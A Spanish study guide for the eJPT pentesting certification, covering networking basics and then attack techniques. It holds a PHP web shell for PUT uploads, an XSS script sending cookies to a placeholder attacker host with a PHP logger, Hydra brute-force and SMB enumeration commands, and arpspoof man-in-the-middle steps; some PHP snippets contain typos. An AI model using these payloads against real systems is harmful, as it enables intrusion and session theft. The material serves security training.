eJPT Preparation

Conceptos basicos de redes

Conceptos de criptografia y VPN

Los protocolos de criptografia encriptan la informacion transmitida para proteger la comunicacion, un gran protocolo de es el VPN (Vitual Private Network). El VPN usa criptografia para extender una red privada sobre una publica, como internet.

Cuado uno esta conectado por vpn actualmente esta corriendo los mismos protocolos de una red privada, esto le permite realizar operaciones de red de bajo nivel los cuales puedes interceptar con Wireshark

-Introduccion a Wireshark

Wireshark es una herramienta rastreadora(sniffer) de red, un sniffer te permite ver los datos transmitidos a través de la red hacia y desde su computadora.

Nota: En el laboratorio para identificar el tipo de protocolo de la pagina local 
usamos Wireshark pero antes de elegir la interfaz de coneccion debemos ver de donde 
vienen las conexiones, tambien mirar siempre que hosts tiene en el archivo '/etc/hosts'.

-Aritmetica Binaria Basica

Convertir numeros de sistema decimal a sistema binario es algo sencillo, tambien se puede hacer con operadores logicos como:

-“NOT” Este operador se encarga de cambiar los 0 por 1 y viceversa

-“AND” Este operador se encarga de comparar un bit con el otro dependiendo de su orden y lo cambia si no cumple la condicion

-“OR” Este operador se encarga de comparar un bit con el otro dependiendo de su orden, si no cumple la condicion se cambia

-“XOR” Este operador hace alusion al ‘OR exclusivo’

Tener en cuenta que la base hexadecimal tambien es usada en la informatica asi que es bueno saber como funciona

Protocolos

-Paquetes

Cada paquete en todo protocolo tiene la siguiente estructura:

-“Header” El encabezado tiene una estructura especifica del protocolo: Esto garantiza que el host receptor pueda interpretar correctamente el payload y manejar la comunicacion general.

-“Payload” Es la informacion actualmente

ISO/OSI

OSI/ISO consiste en 7 capas y su uso como referencia para la implementacion de la actual capa de protocolos.

Protocolos de internet

-IP/Mask

Para identificar completamente un Host, tambien necesita conocer su red. Con una IP/netmask de red, puede identificar la parte de la red y la parte del host de una direccion IP. Haces la operacion “AND” entre la direccion IP y la SubNetMask obviamente ambos convertidos en binario, esto funciona par IPv4

Enrutamiento

Hay dispositivos de redes llamados ‘routers’, su proposito es aprender rutas por las cuales alcanzar otras redes y asi poder transferir paquetes de datos entre ellos, ese proceso se le llama ‘enrutamiento’; Para poder saber que ruta mas corta puede tomar el router utilizamos teoria de nodos. Para conocer el enrutamiento en nuestra red puedes ejecutar el siguiente commando:

ip route

Para poder agregar rutas estaticas usamos el siguiente comando:

ip route add IP/24 dev "interfaz" 
ip route add IP/24 via "IP"

-Direcciones MAC

Las direcciones IP son la tercera capa (Network Layer) esquema de direccionamiento usado para identificar un host en una red mientras que las direcciones MAC solo identifican la tarjeta de red, para saber tu direccion MAC se necesita el siguiente comando:

ip addr

Para que una maquina A envie un paquete a una maquina B a través de un router esta debe especificar la direccion IP de la maquina B pero la direccion MAC del router, este se encargara de cambiarle la direccion MAC para que llegue a B.

-ARP

Cuando un host quiere enviar paquetes a otro host este necesita conocer la direccion IP y direccion MAC de destino para poder construir el paquete. Por ejemplo en las oficinas para enviar un paquete de A a B, la maquina A se encarga de construir un paquete de peticion ARP que contiene la IP de B pero la direccion MAC FF:FF:FF:FF:FF:FF y con ayuda de los switches se envia a todas las maquinas preguntando si su IP es la que esta en el archivo hasta encontrarla.

Para poder ver el ARP cache de tu host lo puedes hacer con el siguiente comando:

ip neighbour

TPC/UDP

Ambos son protocolos mas comunes de transporte usados en internet, TCP te garantiza la entrega de paquetes y es estable antes de transeferir informacion. En cuanto a UDP no garantiza la entrega de paquetes, no olvidar que existen otro tipo de protocolos como SCTP que es orientado a las conexiones pero proporciona la transferencia de datos orientado a mensajes.

-Puertos

Los puertos son usados para un solo proceso de conexion, en estos corren ‘demonios’ el cual es un programa que corre un servicio como los de la siguiente imagen:

Para saber que puertos estan abiertos y que programas estan corriendo en tu maquina puedes ejecutar el siguiente comando:

netstat -tunp

netstat -p tcp -p udp

No olvidar que existen 65536 puertos

Firewall y Defensa de red

La caracteristica mas basica de un firewall es el filtrado de paquetes, con un filtrado de paquetes el administrador puede crear reglas con caracteristicas como la fuente de la IP, protocolo, puerto de destino, etc.

DNS

Es el proceso que convierte un nombre de servidor en una direccion IP compatible con el ordenador

Aplicaciones web

HTTP

Informacion especifica en HTTP

Para poder interceptar la informacion de una pagina http lo podemos hacer con netcat de la siguiente manera:

nc -v {Host} 80

GET / HTTP/1.1 
Host: {Host}

Pero para conecciones HTTPS podemos interceptarlo con openssl por el puerto 443

openssl s_client -connect {Host}:443

Cookies and Sessions

Para los conceptos de Cookies y Sesiones tenemos toda la informacion en el siguiente link Cookies and Sessions

Recopilacion de informacion

Open Source Intelligence

Para poder recopilar informacion de una empresa o de una persona podemos realizarlo a travez de redes sociales y tambien de paginas del gobierno encargadas de guardar toda nuestra informacion.

Enumeracion de subdominios pasivo

Para realizar varias consultas de subdominios existen varios recursos como:

dns.dumpster.com

Sublist3r

Pero recordemos que con wfuzz tambien podemos hacer el mismo reconocimiento de subdominios con un buen ‘wordlists’ como el de SecLists y ejecutando el siguiente comando:

wfuzz -H 'HOST:FUZZ.IP' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Nmap

Para el uso de nmap podemos ver walkthrough de maquinas en HTB u otras platadormas, tambien existen otros escaners de puertos parecidos a Nmap como:

masscan

HTTP Verbs

Existen varios tipos de HTTP Verbs como: GET, POST, HEAD, PUT, DELETE. En el metodo PUT podemos explotarlo subiendo un archivo .php malicioso con el siguiente codigo.

<?php
if (issets($_GET['cmd']))
{
        $cmd = $_GET['cmd'];
        echo '<pre>';
        $result = shell_exec($cmd);
        echo $result;
        echo '</pre>';
}
?>

Este nos permite enviar una query via GET que nos interpreta como una shell.

Enumeracion de directorios

Existen varias tecnicas de enumeracion de directorios que ya estan explicadas en otra seccion de mi pagina web

Google Hacking

Al momento de realizar busquedas en google existen algunos caracterecs basicos que nos ayudan a especificar lo que queremos encontrar.

Cross Site Scripting

Para saber si una pagina es vulnerables una de las formas mas conocidas para identificarlo es ingresando etiquetas o ingresando scripts.

<script>alert(document.cookie)</script>

Con esto saldra nuestra cookie de sesion en una ventana de alerta, para poder recibir cookies importantes podemos optar por mandarnos la cookie a traves de un script.

<script>
var i = new Image();
i.src="IP/DOMINIO"+document.cookie;
</script>

Mientras en el lado del servidor configuramos un archivo php para poder recibir la informacion.

<?php
$filename="/tmp/log.txt";
$fp=fopen($filename, 'a');
$cookie=$_GET['q'];
fwrite($fp, $cookie);
fclose($fp)
?>
<?php

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];

$fp = fopen('log.txt'. 'a');

fwrite($fp, $ip.' '.$browser." \n");
fwrite($fp, urlencode($_SERVER['QUERY_STRING']). " \n\n");
fclose($fp);

>

Ataques de sistema

Malware

Un malware es la abreviacion de “Malicious Software” el cual busca denegaciones de servicio, espionaje entre otras actividades maliciosas.

Backdoor

Es un software hecho por 2 componentes, un servidor y una conexion al cliente trasero.

Rootkit

Es un malware creado para esconderse de los usuarios y programas de antivirus para poder obtener hasta una shell como usuario root.

Bootkit

Son rootkits programados para infectar el Master Boot Record, contiene instrucciones para cargar y ejecutar el sistema opertivo pero ya casi dejaron de existir para Windows con la llegada de UEFI y Secure Boot.

Ataques de contraseña

Como sabemos nuestras maquinas, cuentas o incluso las redes sociales almacenan constraseñas pero estas por obvias razones estan encriptadas, una manera de poder desencriptarlas es con el uso de la fuerza bruta y con uso de ataques de diccionario.

Kali Linux o Parrot nos ofrecen varias herramientas para ataques de fuerza bruta, entre ellos el mas conocido es John the Ripper

Hashcat

Esta herramienta se usa para el crakeo de contraseñas a traves de hashes, se caracteriza por su rapidez.

Ataques Buffer Overflow

Los ataques de Buffer Overflow ocurren cuando un programa excede el uso de memoria asignado por el SO, escribiendo en el bloque de memoria contiguo.

Ataques de Red

Aunthentication Cracking

Hydra

Este programa instalado tanto en Kali como en Parrot nos ayuda a realizar ataques de fuerza bruta a servicios como: FTP, HTTP, Cisco auth, IMAP, RDP, SMB, SSH, Telnet entre otros. Podemos usar diccionarios

hydra -U <service> // -U para obtener informacion detallada del modulo que vas a usar

hydra -L users.txt -P passwords.txt <service://server> <options>

Windows Shares

NetBIOS

Es un protocolo de red que viene activado por defecto, es obsoleto y hoy en dia no es muy utilizado. Sin embargo puede tener vulnerabilidades que pueden ser aprovechadas, normalmente corre en el puerto 139.

Null Sessions

Una sesion nula ocurre cuando se inicia sesion en un sistema sin nombre de usuario ni contraseña.

Enumeracion de Windows Shares

-NbtStat

-Net View

-smbclient

Este ultimo nos muestra tambien los archivos ocultos usando herramientas estandar de Windows, con estas herramientas podriamos relizar ya una enumercion y obtener algunos dato de inmportancia.

python3 /usr/share/doc/python3-impacket/examples/samrdump.py {IP}

Con samrdump.py podemos enumerar cuentas de usuario, recursos compartidos y tambien informacion confidencial; tambien lo podemos hacer con Nmap de la siguiente manera.

nmap --script=smb-enum-shares {IP}
nmap --script=smb-enum-users {IP}
nmap --script=smb-brute {IP}

ARP Spoofing

Basicamente es el envenenamiento de tablas ARP, esta tecnica conciste en manipular las tablas ARP para que el atacante funcione como un Man In The Middle. Esto se puede hacer enviando respuestas ARP gratuitas.

Arpspoof

Esta herramienta nos puede ayudar con los envenenamientos de red ARP, antes de utilizarlo debemos activar el Linux Kernel IP Forwarding.

echo 1 > /proc/sys/net/ipv4/ip_forward

arpspoof -i <Interface> -t <target> -r <host>